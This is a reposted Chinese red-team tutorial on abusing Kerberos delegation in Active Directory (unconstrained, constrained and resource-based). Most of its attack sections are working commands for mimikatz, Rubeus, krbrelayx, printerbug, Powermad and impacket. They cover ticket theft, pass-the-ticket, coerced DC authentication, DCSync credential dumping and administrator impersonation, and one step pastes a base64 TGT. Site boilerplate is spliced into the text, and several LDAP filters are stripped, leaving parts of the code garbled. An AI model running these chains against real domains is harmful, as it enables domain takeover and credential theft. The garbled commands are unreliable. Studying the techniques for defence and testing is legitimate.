域内渗透约束委派

域内渗透约束委派约束委派 委派 域委派是指将域内用户的权限委派给服务账号 使得服务账号能以用户的权限在域内展开活动 简言之 当 A 访问服务 B 时 服务 B 拿着 A 用户的凭证去访问服务 C 这个过程称为委派 委派的方式 非约束委派 约束委派和基于资源的约束委派 在域内只有主机账号和服务账号才有委派属性

大家好,我是讯享网,很高兴认识大家。

约束委派

委派: 域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。 简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派

委派的方式:
非约束委派、约束委派和基于资源的约束委派

在域内只有主机账号和服务账号才有委派属性。域控制器主机账户默认开启非约束性委派
主机账号:活动目录中的computers组内的计算机,也被称为机器账号(一个普通域用户默认最多可以创建十个主机账号) ;
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL。域用户账户通过注册SPN也能成为服务账号

注意:被委派的用户不能被设置为不能委派属性

讯享网

一. 非约束性委派

1.1 原理

利用原理
机器A(域控)访问具有非约束委派权限的机器B的服务,会把当前认证用户(域管用户)的的TGT放在ST票据中,一起发送给机器B,机器B会把TGT存储在lsass进程中以备下次重用。从而机器B就能使用这个TGT模拟认证用户(域管用户)访问服务。
利用场景
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的TGT,从而模拟域管用户

1.2 查找非约束委派的主机或者服务账户

1.利用powersploit中的powerview

#导入模块 Import-Module .\PowerView.ps1 #查询非约束委派的主机 Get-NetComputer -Unconstrained -Domain qaq.com #查询非约束委派的服务账号 Get-NetUser -Unconstrained -Domain baidu.com | select name 

讯享网

2.利用ADFind

讯享网#查找域中配置非约束委派的用户 AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=)(userAccountControl:1.2.840..1.4.803:=))" cn distinguishedName #查找域中配置非约束委派的主机 AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=)(userAccountControl:1.2.840..1.4.803:=))" cn distinguishedName 

3.利用ldapsearch

#查找域中配置非约束委派的用户 ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=)(userAccountControl:1.2.840..1.4.803:=))" |grep -iE "distinguishedName" #查找域中配置非约束委派的主机 ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=)(userAccountControl:1.2.840..1.4.803:=))" |grep -iE "distinguishedName" 

1.3 利用

  • 设置非约束委派属性

将test5主机账户设置为非约束委派

设置完成后,打开adsiedit.msc adsi编辑器查看机器属性,可以看到:
当被设置为非约束委派的时候,它的userAccountControl属性中会包含TRUSTED_FOR_DELEGATION字段

1.2.1 非约束委派模拟域管权限

靶机环境

  • 域名:qaq.com
  • 网段:192.168.10/24
  • 域控:test(192.168.10.250)
  • 域内主机:test5-win12(192.168.10.12)

1.域控使用kerberos协议认证方式访问test5主机的cifs服务
由于test5主机被设置为非约束委派,所以client(域控)会把当前登录域管账户的TGT放在ST中一起发给server端 test5主机,test5机器会把TGT存储在lsass进程中

2.在test5主机上,用mimikatz导出lsass进程中的票据

讯享网privilege::debug #导出票据 sekurlsa::tickets /export 


随后将域管的票据注入内存中

kerberos::ptt [0;11eeaa] 


3.获取域管权限后,dcsync


1.2.2 非约束委派+spooler打印机组合利用

因为非束委派常规利用比较鸡肋,必须要域管主动与配置了委派的机器建立连接,所以有国外的大佬研究出了非约束委派+spooler打印机服务 强制域控与指定的主机进行连接

利用原理: 利用Windows打印系统远程协议 (MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了 Spooler 服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。
printer bug:任何经过身份验证的域成员都可以连接到远程服务器的打印服务(spoolsv.exe),并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标。之后它会将立即测试该连接,即向指定目标进行身份验证(攻击者可以选择通过Kerberos或NTLM进行验证)。微软表示这个打印机bug是系统设计特点,无需修复。由于打印机是以system权限运行的,所以我们访问打印机rpc,迫使打印机服务(域控)向目标发起kerberos认证请求,从而拿到域控机器用户的凭证。
注意:在server 2008全版本以及server 2012中即使启用了Printer Spool服务,也依然无法访问到spoolss命名管道,因为它不在RPC中暴露该服务。因此,实战中需要server 2012 R2域控才可以利用Printer Spool服务进行中继。回连的用户是目标机器用户的凭证

域控默认启用print spooler打印机服务:

使用SpoolSample进行利用
讯享网#每隔一秒监听一次来自test$用户(域控机器用户)的登陆(需要本地管理员权限) Rubeus.exe monitor /interval:1 /filteruser:test$ 

然后通过SpoolSample.exe向域控发起请求
https://github.com/leechristensen/SpoolSample

#SpoolSample.exe 域控主机 目标主机 #注意要使用机器主机名 SpoolSample.exe DC MSSQL 

(ps:本地由于环境因素没有复现成功,这里记录一下其他大佬的截图过程,方便学习:)

Rubeus监听到来自域控机器账户的TGT
(ps:这里也可使用mimikatz dump lsass进程的TGT)

复制监听到的TGT的base64

讯享网doIE+jCCBPagAwIBBaEDAgEWooIEETCCBA1hggQJMIIEBaADAgEFoQ8bDVJFRFRFQU0uTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDVJFRFRFQU0uTE9DQUyjggPHMIIDw6ADAgEXoQMCAQKiggO1BIIDsTRd7H8nT8n2+xhFjdYxWkeGwWptrnyKLgxn746x3g+68Wa92RV8mkudwvNSHPEbhA05tXVs62KwV/TjlhSHcjW9U8KfzgGdJpcpF8JrbW+X0ON4J0SyuwtcubsOiulJ6yiyH4riFlMTcl6TXMdbWCnOwIriPfOnQP/jtkcZWx2J27Y2HZ8cCAL00aV14S+ajcA65Howkx1/0ts+YQVZhFpc6l9fFQfGp9R87CjPNpWXEJV0iUGSELptTfXTxNSr/oF3+G7U0KrNl+9NMjloU6tFy/gnmc1PbDnUNXYgdKssUvxUpBzfVxq7leBkX1chx91kPcRrqAZC+tUWSoyULTkCPB8OcYY2DwHy4ElaQbo3y1mmq2DtHTx/ulGvwfKbpQrDgVSKZjE7VGdQSD7eAUJB7Pbu+lHsPc30DLVIbxJEQlC7WRKi1tNc6mhQJtAEGQFUUdYSQNtvNpiphZEfNGUoPaTz/9QspD9jjyVv+Dm7lqup5ojDSAxxc0Gzg61c4KmW3pJlmVQaN4f9Of+LeuqR3tR5EWxPqmkTgv1eVwdGryiF0cNC5Q7SAxrr6mgL2pL2HpMMILwhLSWlk0YIt6qdlyhRRdBzgopSzN5yB3IkSK4RXAF4CFYbximorzkIa9jG34ge9FlSVRkjUxNXb5KnCTDhLymT3F3tJeZoGig4Q+O9pfuUutsuxzSsy8u6xuuXkvg//LuXvDDOuVbOuKHR05tPfc1f9nKqs/YclidoYN3Nf/51pgF4n0ZXieHu5hgZYhb//qKh1X51ezI0MQ1gwkmssF9724s0U1QcLIS4ts3XxPCaDfuOeOLJUoMyqt0BdvYdVn6uGl0b2kCYwtk8ouIfuBbGeSYyGcSo+//tyTNJL57TCy42wRkFecRDdsBrRP8Je46fHBDPp7dhfOwP29Yt4nHFEtCKmjNeYLKQmQnKJ2i4AJKkOyi3QYPcf8Q+uzgU8c5V4p8kj+YBtvUMKQx6Dy1+MTfFz3tY1pQ7KB2pHziop/mm1f6ZPXNtoqcrtlCL+YGDEtgAPxSqaf3eAUhXar39qpUV1ey2Y7Pv/NZg8NevdUUG83LVXIiHHbwGTPBQgccrg9qC0cGHEHs0TNy7cLKc/8s86ZCzvBffmp/Q77QKZIH6jwvxopDjnO0s5jE9F7DVqBK51AWtPuSufXbOTqNMih90jxDJrb9cOZsIqadS7K6fJK232uUHCqSBP4H7QORFRPsCV6YFR13uzFutz+zN59+Y76NUrmhkOB1DCB0aADAgEAooHJBIHGfYHDMIHAoIG9MIG6MIG3oBswGaADAgEXoRIEEFo/U0fj+283YVzNrDWB7b+hDxsNUkVEVEVBTS5MT0NBTKIQMA6gAwIBAaEHMAUbA0RDJKMHAwUAYKEAAKURGA8yMDIxMTAwMzEyNDAzMlqmERgPMjAyMTEwMDMyMjQwMjlapxEYDzIwMjExMDEwMTI0MDI5WqgPGw1SRURURUFNLkxPQ0FMqSIwIKADAgECoRkwFxsGa3JidGd0Gw1SRURURUFNLkxPQ0FM 

再Rubeus导入base64的票据直接注入进内存

Rubeus.exe ptt /ticket:base64 
使用printerbug进行利用(远程利用)
环境配置

靶场环境

  • 域名:qaq.com
  • 网段:192.168.10/24
  • 域控:test(192.168.10.250)
  • kali(非域成员机器):192.168.10.25
  • 域用户(非约束委派属性且拥有spn权限):admin/Aa

注意:普通域用户无约束委派属性,所以要先将域用户admin添加spn成为服务账户:

讯享网setspn.exe -U -A VNC/comp.qaq.com admin 


配置域用户拥有添加spn属性的权限。因为后面利用的时候需要创建指向回连主机的spn,使域控能中继到指定主机:
(ps:一般非约束委派域用户,都拥有写spn属性的权限)
打开adsi编辑器adsiedit.msc:

利用

https://github.com/dirkjanm/krbrelayx

  1. 添加Spn。目的是创建指向回连主机的spn
#ldap://192.168.10.250:为域控ip python3 addspn.py -u "qaq.com\admin" -p "Aa" HOST/whatthefuck.qaq.com ldap://192.168.10.250 

  1. 添加dns记录。目的是为了将whatthefuck.qaq.com域名指向回连主机IP:
讯享网#-d:解析的回连主机ip 域控IP python3 dnstool.py -u "qaq.com\admin" -p "Aa" -r whatthefuck.qaq.com -a add -d 192.168.10.25 192.168.10.250 


成功后,查看dns服务器,可以看到已经添加成功。执行成功后需要等3分钟左右:

  1. 监听80端口,开启中继:
#-s:域名+域用户 python3 krbrelayx.py -p "Aa." -s TEST.COMadmin 


也可以在94行添加c.setListeningPort(12138),修改监听的端口:

  1. 执行printerbug脚本,利用域控上的打印机服务强制使域控连接指定主机:
    (ps:也可以中继到windows主机,然后使用mimikatzdump lsass进程中缓存的票据)
讯享网#192.168.60.138为域控ip #whatthefuck.domain1.com为设置的域名 #也可以使用hash认证,-hashes python3 printerbug.py qaq.com/admin:"Aa"@192.168.60.138 whatthefuck.domain1.com 

随后kali 会收到域控的kerberos认证请求,会生成域管用户的TGT票据

  1. 利用域管用户的tgt dcsync:
    在/etc/hosts文件中添加如下两行记录用于解析域控制器的域名:
#域控ip 域控制器域名 192.168.164.147 ad.test.com 192.168.164.147 test.com 

使用票据导出hash

讯享网#设置KRB5CCNAME变量为生成的域管用户票据 export KRB5CCNAME=xxx.ccache #发起kerberos认证,进行dcsync导出hash python3 /root/impacket/examples/secretsdump.py -k ad.test.com -just-dc-user administrator 
使用dementor进行利用

对于Linux,可以使用NetNTLMtoSilverTicket项目中的dementor.py脚本利用打印机漏洞触发回连

python dementor.py -d domain -u username -p password 回连ip 目标ip 

杀软会拦截SMB请求

二.约束性委派

2.1 原理

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U。中S4U支持两个子协议:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)。
S4U2self:使用用户的TGT向KDC请求可以转发的Kerberos服务票据(ST1),用于发起S4U2proxy请求。服务也可以调用S4U2Self来要求身份认证服务(kdc)为任意用户生成访问该服务的st1,用于响应其他方式认证的用户请求(非kerberos)的授权需求。例如:网站A服务器可以向KDC请求一张用户B访问A服务的ST1,A服务用这张ST1去发起S4U2proxy请求
S4U2proxy:使用ST1票据请求KDC生成访问其他服务的ST2

大致流程:
1.user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对serviceA进行访问;
2.如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC;
3.域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能使用获得的ST2服务票据访问服务B;

利用场景
从攻击者的角度来看,如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以先使用S4u2seflt申请域管用户(administrator)访问A服务的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。

2.2 筛选约束性委派账号

ldapsearch
讯享网#查找域中配置约束委派服务用户 ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto" #查找域中配置约束委派的主机 ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto" 
ADFind
#查找域中配置约束委派服务用户: AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto #查找域中配置约束委派的主机 AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto 

2.3 利用

环境配置

设置域内主机对域控基于cifs服务的资源委派

当被配置了约束委派的账户的userAccountControl属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性还会指定对哪个SPN进行委派


靶场环境

  • 域名:qaq.com
  • 域控:test(192.168.10.250)
  • 域成员机器:test1-2008(192.168.10.31),配置对域控基于cifs服务的资源委派
利用
  1. 请求账户(约束委派账户)的TGT,目的是使用S4U2Self协议申请域管用户访问该机器的st1:
    (PS:如果已拥有TGT可跳过这一步)

获取2008机器账户的密码或者HASH:

使用kekeo请求kdc生成账户的TGT
https://github.com/gentilkiwi/kekeo

讯享网#拥有明文密码 tgt::ask /user:win7 /domain:hiro.com /password:QWE. #拥有hash tgt::ask /user:win7 /domain:hiro.com /NTLM:xxxx 


2. 然后通过TGT伪造s4u请求,以域管理员administrator身份请求访问域控 cifs服务的ST2:

这里包含二步:
1.使用约束委派账户的TGT,以使用S4U2Self协议请求kdc生成域管用户访问自身服务(test1-2008)的可转发的票据st1;
2.test1-2008服务利用st1票据使用S4U2Proxy协议,以域管理员用户的名义请求一张访问域控的CIFS服务的ST2票据

#使用kekeo发起s4u请求 tgs::s4u /tgt:_krbtgt~ /user: /service:cifs/dm08.qiyou.com 

会生成S4U2Self获取到的ST1和S4U2Proxy获取到的访问dc CIFS服务的st2

  1. 注入票据
讯享网#使用mimikatz 注入st2票据 kerberos::ptt @REDTEAM.LOCAL_cifs~ 


三.基于资源的约束委派

3.1 原理

基于资源的约束性委派 (RBCD: Resource Based Constrained Delegation):为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,⽽把设置属性的权限赋予给了机器⾃身–基于资源的约束性委派允许资源配置受信任的帐户委派给他们。
也就是说,设置机器b的主机属性(msDS-AllowedToActOnBehalfOfOtherIdentity字段)允许服务A委派到服务B,后者服务A就能通过S4U2Self请求生成服务B访问服务A的ST1,然后通过S4U2Proxy请求利用st1生成访问服务B的st2。不同与约束委派,需要域管权限才能设置约束属性,基于资源性约束委派只需要拥有主机属性的修改权限就行
基于资源的约束委派只能在运行 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置,但资源的约束委派可以跨域森林和跨域

攻击场景

获得的用户对主机A的机器属性具有写权限,那么可以配置主机A的机器属性从而获取主机A的权限。一般计算机加入域时,加入域的域用户对该域机器账户拥有写权限。在大型内网域环境中,将机器加入到域环境中一般不会用域管权限,而是用一个专门加域的域用户,那么当我们拿下该加入域环境的域用户账号密码时,就可以把通过该域用户加入到域里的所有机器都拿下.

利用场景

  • 获取权限
  • 权限维持
  • 提权

3.2 利用

靶场环境

  • 域名:qaq.org
  • 域控:test5-2012(192.168.11.250)
  • 域成员机器:test4-win7(192.168.11.5)
  • 域用户(拥有写test4-win7主机属性的权限):test/Aa
  • 域成员机器:test7-win7(192.168.11.6)
  • 新创建的主机账户:test$/Aa

通过配置test4-win7的机器属性,将test4-win7资源性约束委派给test账户。后者test主机服务就能通过s4u请求申请test用户访问test4-win7主机服务的st2

查询对域内主机机器属性具有写入权限的域用户

即:查询域内主机是由那个域用户加入域的

  1. 查询域主机账户的mS-DS-CreatorSID 属性中的sid值,这个sid值代表这台机器是由那个域用户加入域环境:
    (Ps:如果mS-DS-CreatorSID属性为空则代表这台机器上由域管用户加入域环境)
#使用AdFind查询属性 AdFind.exe -h 10.0.0.12 -u test -up admin!@#45 -b "DC=qaq,DC=org" -f "objectClass=computer" mS-DS-CreatorSID AdFind.exe -b "DC=qaq,DC=org" -f "(&(samAccountType=))" cn mS-DS-CreatorSID 

  1. 查询这个sid对应哪个域用户:
讯享网#使用AdFind查询属性 AdFind.exe -b "DC=qaq,DC=org" -f "(&(objectsid=S-1-5-21----1118))" objectclass cn dn #使用sid2user查询属性 sid2user.exe \\10.0.0.12 5 21    110 

(ps:注意查询出来的是账户全名)


另外在获得一个域用户账户的时候,同样可以利用域账户的SID查询域内那些机器是由该账户加入域的:

AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=)(mS-DS-CreatorSID=S-1-5-21----1118))" cn sAMAccountType objectCategory 


设置资源性委派属性
  1. 使用域用户创建机器用户,默认一个域用户可以创建10个机器用户名:

因为需要设置目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity 的值为创建的机器用户的sid值,后面利用创建的机器用户使用s4u申请访问目标机器的st2。即:设置目标机器资源性约束委派给创建的机器用户
利用 powermad 添加机器账户
https://github.com/Kevin-Robertson/Powermad

讯享网#设置允许运行脚本 set-executionpolicy -executionpolicy unrestricted Import-Module .\Powermad.ps1 #添加名为test的机器用户,密码Aa New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "Aa" -AsPlainText -Force) 


使用powerview查看域机器账户的sid:
即:账户的object Sid属性值

Import-Module .\powerview.ps1 Get-DomainComputer -Identity win10system 

  1. 修改目标主机win7的机器账户msDS-AllowedToActOnBehalfOfOtherIdentity属性值为创建的机器账户test的sid值,即:配置test账号到win7的资源性委派:

使用powerview修改机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性

讯享网$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21----1116)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer test4-win7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 


可查看msDS-AllowedToActOnBehalfOfOtherIdentity属性验证是否修改成功

Get-DomainComputer test4-win7 msds-allowedtoactonbehalfofotheridentity 



清除 msds-allowedtoactonbehalfofotheridentity属性的值,可用如下命令:

讯享网Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose 
发起s4u请求
  1. 利用rubues使用明文密码生成对应的hash:
Rubeus.exe hash /user:xx /password:Aa /domain:qaq.org 

  1. 使用rubues发起s4u请求:

这里包含二步:
1.利用创建的机器账户,以使用S4U2Self协议请求kdc生成目标账户(test)访问自身服务(创建的机器账户服务)的可转发的票据st1;
2.随后机器账户服务利用st1票据使用S4U2Proxy协议,以test用户的名义请求一张访问test4-win7的CIFS服务的ST2票据
(ps:如果没有配置资源性的约束委派,第二步S4U2Proxy协议转发St1票据的时候kdc会拒绝)

讯享网Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /ptt 



另外,也可以使用impacket的getST.py发起s4u请求生成票据st2,会在当前目录下生成 test.ccache 文件:

python3 getST.py -dc-ip 192.168.11.250 -spn cifs/test4-win7.qaq.org -impersonate test qaq.org/test$:Aa 

之后使用 mimikatz 导入票据
也可以通过设置KRB5CCNAME环境变量,配合impacket 中的pse脚本直接进行利用:

讯享网#设置环境变量 set KRB5CCNAME=test.ccache python3 wmiexec.py -no-pass -k  -dc-ip 192.168.11.250 

四.缓解措施

1.高权限账号设置禁止委派属性:

2.微软推出了protected users组,组内用户不允许被委派,适用于Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012:

Ref

https://mp.weixin..com/s/gZ5jVnc6IWZ1jZSB4fp1sw
https://www.crisprx.top/archives/429#_Spooler
https://blog.csdn.net/_/article/details/
https://www.crisprx.top/archives/429#i-11
https://cloud.tencent.com/developer/article/
https://mp.weixin..com/s/aM2k01N6_H5FOxoEyj39LA

小讯
上一篇 2025-01-29 22:58
下一篇 2025-03-17 08:48

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/18914.html